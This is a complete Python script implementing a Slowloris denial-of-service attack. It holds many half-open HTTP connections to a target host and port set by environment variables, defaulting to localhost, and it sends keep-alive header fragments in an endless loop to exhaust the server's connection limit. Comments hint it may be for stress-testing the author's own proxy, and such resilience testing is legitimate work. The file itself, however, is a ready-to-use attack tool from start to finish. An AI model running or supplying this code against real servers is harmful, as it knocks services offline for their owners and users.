import socket
import random
import time
import os

TARGET = os.getenv("TARGET", "127.0.0.1")
PORT = int(os.getenv("PORT", 8080))
CONNECTIONS = int(os.getenv("CONNECTIONS", 200))


def slowloris():
    sockets = []
    print(f"[+] Starting persistent Slowloris on {TARGET}:{PORT}...")

    while True:
        # Fill up to the limit
        while len(sockets) < CONNECTIONS:
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.settimeout(10)  # More time for the proxy to think
                s.connect((TARGET, PORT))
                s.send(f"GET /?{random.randint(0, 5000)} HTTP/1.1\r\n".encode("utf-8"))
                s.send("User-Agent: Mozilla/5.0\r\n".encode("utf-8"))
                sockets.append(s)
                if len(sockets) % 10 == 0:
                    print(f"[INFO] Connections: {len(sockets)}")
            except Exception:
                # If we hit the server limit, this will fail. That's what we want to see!
                break

        # Keep alive
        for s in list(sockets):
            try:
                s.send(f"X-a: {random.randint(1, 5000)}\r\n".encode("utf-8"))
            except:  # noqa: E722
                sockets.remove(s)

        print(f"[STATUS] Active connections: {len(sockets)}")
        time.sleep(5)


if __name__ == "__main__":
    slowloris()
